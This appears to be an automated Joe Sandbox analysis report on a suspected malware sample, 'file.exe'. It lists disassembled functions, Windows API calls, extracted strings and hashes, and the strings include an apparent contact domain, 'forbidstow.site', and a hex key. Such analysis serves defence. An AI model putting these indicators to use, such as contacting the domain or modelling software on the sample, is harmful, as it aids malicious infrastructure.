Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3b7feb40e676d3aed090460605f51d5c40e0c5fef2aa979b527d256d14790
Instruction ID: 7faea19ec2101526fca2aba983740f92e36bcc303ec1c4da612bd83b8f3857f6
Opcode Fuzzy Hash: 68a3b7feb40e676d3aed090460605f51d5c40e0c5fef2aa979b527d256d14790
Instruction Fuzzy Hash: 2E218E31600396AFEB10AF65DCA5F6B77E9EF4136471085ADF929D7150EB30EE408760

Function 00BD6208 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00BD6210

Part of subcall function 00BCF889: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00BD1030,?,00000000,-00000008), ref: 00BCF8EA

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BD6248
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00BD6268

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 043127d6c5ba8839a926be11c38013bc0a01ad6a9029a24a8dc822200e6b2622
Instruction ID: 4432fb3b1f1cfebbc3064aecccf7671daf182606b94b194b717de09181cae7a0
Opcode Fuzzy Hash: 043127d6c5ba8839a926be11c38013bc0a01ad6a9029a24a8dc822200e6b2622
Instruction Fuzzy Hash: CA1196B15016567E6B1527729CCEDBFAFEDDE9939431000EBF805D6201FE64DD024571

Function 00BDF1B8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000), ref: 00BDF1CF
GetLastError.KERNEL32(?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000,?,?,?,00BD7055,?), ref: 00BDF1DB

Part of subcall function 00BDF22C: CloseHandle.KERNEL32(FFFFFFFE,00BDF1EB,?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000,?,?), ref: 00BDF23C

___initconout.LIBCMT ref: 00BDF1EB

Part of subcall function 00BDF20D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00BDF1A9,00BDD75C,?,?,00BD770F,?,00000000,00000000,?), ref: 00BDF220

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00BDD76F,00000000,00000001,?,?,?,00BD770F,?,00000000,00000000,?), ref: 00BDF200

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 26832a6e26e93338eca165074e827a3646d0b1ffd4d3a438e2a9504a6ed2390a
Instruction ID: af03d3e2b2d5d633681ee0a54a756dff12c721803ee5dfc3d97ba1530bdc9cd0
Opcode Fuzzy Hash: 26832a6e26e93338eca165074e827a3646d0b1ffd4d3a438e2a9504a6ed2390a
Instruction Fuzzy Hash: D6F0A23B544155BBCF125F95DC459AA7F65FB493A1B044171FA199A230DA3188209B90

Function 00BBE81C Relevance: 6.0, APIs: 4, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00BBE7A5,00000064), ref: 00BBE83F
LeaveCriticalSection.KERNEL32(00BF0160,?,?,00BBE7A5,00000064), ref: 00BBE849
WaitForSingleObjectEx.KERNEL32(?,00000000,?,00BBE7A5,00000064), ref: 00BBE85A
EnterCriticalSection.KERNEL32(00BF0160,?,00BBE7A5,00000064), ref: 00BBE861

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: b7bfe24d782b6ef8a74ea585ef27b5a0b536f1d73cd8b7f35f84ef7daa3095dd
Instruction ID: bd768f86ce7bfc85cdc3873baef1405e9f2142b10ebea336c7d8023079dfb27d
Opcode Fuzzy Hash: b7bfe24d782b6ef8a74ea585ef27b5a0b536f1d73cd8b7f35f84ef7daa3095dd
Instruction Fuzzy Hash: B5E09232650568BBCA023B54EC08AFA3FA4EB05B51B040060FA097B1318F615A00DBD4

Function 00BA5FF0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BA615B

Strings

+`^z, xrefs: 00BA61CB
+`^z, xrefs: 00BA6276

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: a3327e4b85bc9cee8ccc1a79b0a96baf3b8f1dc97ffbfa910a2b6d4aa7e5cd41
Instruction ID: 3fe9e7a446afe64ad61bc82b2ba76e04b73be59d0684fa0a855ea531a54294fc
Opcode Fuzzy Hash: a3327e4b85bc9cee8ccc1a79b0a96baf3b8f1dc97ffbfa910a2b6d4aa7e5cd41
Instruction Fuzzy Hash: B59127B460C3409FC764DF18C4D462EBBE0EB9A314F58489EE99AD7326D631DD948B83

Function 00BC442D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00BC44BD

Strings

pow, xrefs: 00BC4495, 00BC44B2

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 240a5e940830fce111a7effd5996ca43c68867e99b06c9e1638ea551c5b15f0b
Instruction ID: cf6dabf6c6b4b77965a2639b4a97f401da9a6b88c5c44c485e5656307112df7e
Opcode Fuzzy Hash: 240a5e940830fce111a7effd5996ca43c68867e99b06c9e1638ea551c5b15f0b
Instruction Fuzzy Hash: F2516761A0810397CB197B18C9A1FBE2BE5DB50750F3089FCE4D6863A9EF348D849A46

Function 00BD402A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00BCF9CB: GetLastError.KERNEL32(00000000,?,00BD1D01), ref: 00BCF9CF
Part of subcall function 00BCF9CB: SetLastError.KERNEL32(00000000,?,?,00000028,00BCA98F), ref: 00BCFA71

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00BC80ED,?,?,?,00000055,?,-00000050,?,?,?), ref: 00BD40E9
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00BC80ED,?,?,?,00000055,?,-00000050,?,?), ref: 00BD4120

Strings

utf8, xrefs: 00BD41F2

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 59c7718126b6462cb1f46d481670309dde28719fa1db4010b68dea15dcec709c
Instruction ID: 35c0ce40e1ceebf1513a65c6f9ccb37bf36845bc6bb1a6399d81ec4774107494
Opcode Fuzzy Hash: 59c7718126b6462cb1f46d481670309dde28719fa1db4010b68dea15dcec709c
Instruction Fuzzy Hash: 3351C231650305ABDB25AB718C82FA7F7E8EF45700F1445EBFA459B382F770E9408661

Function 00BB6510 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

bad locale name, xrefs: 00BB66A8

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: bad locale name
API String ID: 0-1405518554
Opcode ID: 0a5831bfdbf9d5934fa27ff0a3746e60a9a52d18dde8976578ea4bd32226749d
Instruction ID: 20a6943c106370063a8c75f95da4e41e13478c643ae2e753539e4773ad3f4159
Opcode Fuzzy Hash: 0a5831bfdbf9d5934fa27ff0a3746e60a9a52d18dde8976578ea4bd32226749d
Instruction Fuzzy Hash: FC41B1A06083489BCB249F6984957BEBBD5AB95344F1008ACF85BCB381D7F9CD588793

Function 00BAF200 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

bad locale name, xrefs: 00BAF38E

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID:
String ID: bad locale name
API String ID: 0-1405518554
Opcode ID: f9f07c5380eaca6d5c90071ffa05c5489b5503620c311fdfdc3ddd997774561d
Instruction ID: fe1af374f75c63bfe68579461dd2dce4e03e137e2860d4ecf1cf73329f616197
Opcode Fuzzy Hash: f9f07c5380eaca6d5c90071ffa05c5489b5503620c311fdfdc3ddd997774561d
Instruction Fuzzy Hash: 8531E57060C3498BDB109BA994D57BFB6D0AB8A344F5048BDF85B8B381D7B5CC888797

Function 00BABF50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BABF91

Strings

+`^z, xrefs: 00BABFFF
+`^z, xrefs: 00BAC02B

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: 29deaa94cb9ec606c9c1a5ef88d27c14580741e111385e533bb71b4f2e4a48aa
Instruction ID: 7729fd5de0806850333f0d03969139c128357bab2c0f6efd9035e9812fb0d894
Opcode Fuzzy Hash: 29deaa94cb9ec606c9c1a5ef88d27c14580741e111385e533bb71b4f2e4a48aa
Instruction Fuzzy Hash: 4C413B7460C244DFC7249F28D595A2EBBE1EF86304F14889EF89A8B326D731CD448B93

Function 00BB69F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6A1E

Strings

+`^z, xrefs: 00BB6A7B
+`^z, xrefs: 00BB6AAB

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: 274c5ba61d0be3dc0cc1df80e95a490ac77f15d29ad9bd3c0290fde2e85a31fa
Instruction ID: 4d8601ba0eeb48d67fe303f624ac57c04924c447c59e408ae1ea3c21cf41b8a9
Opcode Fuzzy Hash: 274c5ba61d0be3dc0cc1df80e95a490ac77f15d29ad9bd3c0290fde2e85a31fa
Instruction Fuzzy Hash: F141C074608240DFCB249F28C4916BABBE4EF85304F54889EE49ADB316C778DD40CB93

Function 00BB6B50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6B7E

Strings

+`^z, xrefs: 00BB6BDB
+`^z, xrefs: 00BB6C0B

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: c5d740eb9fb0bac1b5bef6a90293ce3d7ab5d096fe5d6a23f2f15027d43e0527
Instruction ID: 44d7f64c148e4f8d44a622bb1e1f0fdd66828bd0ca778fde32997e46eb0fdfa8
Opcode Fuzzy Hash: c5d740eb9fb0bac1b5bef6a90293ce3d7ab5d096fe5d6a23f2f15027d43e0527
Instruction Fuzzy Hash: B441B1746096409FCB249F28C49167ABBE4EB85304F54489DE49ACB316C774DD40C793

Function 00BB6CB0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6CDE

Strings

+`^z, xrefs: 00BB6D6B
+`^z, xrefs: 00BB6D3B

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: d97a654bb67dcfdca7e58b090a0ebfece4b286616fc69ec0534b1ac9c41be33f
Instruction ID: d1b20420ab5f4ac7e66d4b0a1181a0b60b0666fb3626a9e4067e73537baeacd5
Opcode Fuzzy Hash: d97a654bb67dcfdca7e58b090a0ebfece4b286616fc69ec0534b1ac9c41be33f
Instruction Fuzzy Hash: B141E274608240DFC7249F28D5A167BBBE4EF85300F1448AEE45A8B356C778DD408793

Function 00BCD743 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00BCD74C

Strings

csm, xrefs: 00BCD7DF
csm, xrefs: 00BCD76E

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: dd30419b66df1afad5e11204ecebab539c0947b3df7bf24c8fd20b0bf479d8db
Instruction ID: 426f96b16febafd5c57901358382d59107c02e02948794a1cf54e1d1e4d59596
Opcode Fuzzy Hash: dd30419b66df1afad5e11204ecebab539c0947b3df7bf24c8fd20b0bf479d8db
Instruction Fuzzy Hash: 10315E7A500259ABCF269F50C844FAA7BE6FF08715B1845AEFC584A121D332DCA1DB91

Function 00BA8B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00BA8B1C

Strings

},4), xrefs: 00BA8B4E
},4), xrefs: 00BA8B2E

Memory Dump Source

Source File: 00000000.00000002.2279043918.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2279023228.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279071566.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279089498.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279145817.0000000000BEF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279162447.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2279218738.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: },4)$},4)
API String ID: 4194217158-1349039888
Opcode ID: d00d24428b834695abaf75a5193fb2d4bfe000e891c5477e5c01c8dd9a98ebb7
Instruction ID: 7f3dc96878855eece6d025cabd3fa234dd0ccee7ec564468afeb351e51ae13e7
Opcode Fuzzy Hash: d00d24428b834695abaf75a5193fb2d4bfe000e891c5477e5c01c8dd9a98ebb7
Instruction Fuzzy Hash: D501F9F095D2004BCE545B1898D252E76D49F76308F850CA9F44AEB620DF32DC44C7E7

Analysis Process: file.exePID: 4088, Parent PID: 2516COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	33%
Total number of Nodes:	185
Total number of Limit Nodes:	12

Executed Functions

Function 00410130 Relevance: 43.9, APIs: 4, Strings: 20, Instructions: 1884COMMON

Download Yara Rule

Strings

V[, xrefs: 00410AE7
xr, xrefs: 00411273
=i<o, xrefs: 0041015A
E0C5CB87ED97ADA1BBC9AE789563D06B, xrefs: 0041093E
d5h;, xrefs: 0041030F
#Tw, xrefs: 00410E4F
F], xrefs: 00410AE0
Noni, xrefs: 004115FF
_], xrefs: 00410AD2
`1d7, xrefs: 00410304
K=C#, xrefs: 00410325
forbidstow.site, xrefs: 00410419, 00410BEF, 00410C2C, 0041137A
T1S7, xrefs: 004112D5
f[zU, xrefs: 004115EA
{){/, xrefs: 00410346
;:54, xrefs: 00411805
;:54, xrefs: 0041175C
U`3, xrefs: 004102F9
{-S, xrefs: 00410351
J!G', xrefs: 00410330

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: #Tw$;:54$;:54$=i<o$E0C5CB87ED97ADA1BBC9AE789563D06B$F]$J!G'$K=C#$Noni$T1S7$U`3$V[$_]$`1d7$d5h;$f[zU$forbidstow.site$xr${){/${-S
API String ID: 0-3206140370
Opcode ID: f8ab64ea4c7e8e210182be6e25d8877d480a05b41285a1b532a597eb8aa41f09
Instruction ID: 6273a6f89015048420069fd8e76e9716c3636ab33a276e99926261cacd246b67
Opcode Fuzzy Hash: f8ab64ea4c7e8e210182be6e25d8877d480a05b41285a1b532a597eb8aa41f09
Instruction Fuzzy Hash: 9ED243B56047408FD3248F25D88176BBBF1FF86304F18856DE5968B3A2D779E806CB86

Function 0042EB60 Relevance: 30.8, APIs: 5, Strings: 11, Instructions: 2801COMMON

Download Yara Rule

Strings

,C, xrefs: 0042F4A3
*JZ, xrefs: 00430113
"JZ, xrefs: 004300DD
syrh, xrefs: 00430234
34t, xrefs: 00430C57
fjnr, xrefs: 0042F3C8
vNHF, xrefs: 0042F2F2
Y?^i, xrefs: 0042EC80
'Rx/, xrefs: 0042F5FB
kk, xrefs: 004309D6
ODIF, xrefs: 0042ECDA

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: "JZ$'Rx/$*JZ$,C$34t$ODIF$Y?^i$fjnr$kk$syrh$vNHF
API String ID: 0-2606108540
Opcode ID: f1385e0472e737411eb293167e93e2b1d896b708bed0ee908690dfc3b3201680
Instruction ID: 1668301a4a25afde2e4d19bd0ad22d91ff18bef6338bf9f0b8afd95663acfb5e
Opcode Fuzzy Hash: f1385e0472e737411eb293167e93e2b1d896b708bed0ee908690dfc3b3201680
Instruction Fuzzy Hash: F7131874604B908BE7358F35D4A07A3BBE1AF57304F4889AEC1EB4B386D779A409CB15

Function 00410118 Relevance: 29.8, APIs: 4, Strings: 12, Instructions: 1780COMMON

Download Yara Rule

Strings

_], xrefs: 00410AD2
V[, xrefs: 00410AE7
xr, xrefs: 00411273
forbidstow.site, xrefs: 00410419, 00410BEF, 00410C2C, 0041137A
T1S7, xrefs: 004112D5
E0C5CB87ED97ADA1BBC9AE789563D06B, xrefs: 0041093E
f[zU, xrefs: 004115EA
#Tw, xrefs: 00410E4F
;:54, xrefs: 00411805
;:54, xrefs: 0041175C
F], xrefs: 00410AE0
Noni, xrefs: 004115FF

Memory Dump Source

Source File: 00000003.00000002.2192285871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_file.jbxd

Similarity

API ID:
String ID: #Tw$;:54$;:54$E0C5CB87ED97ADA1BBC9AE789563D06B$F]$Noni$T1S7$V[$_]$f[zU$forbidstow.site$xr
API String ID: 0-2691140226
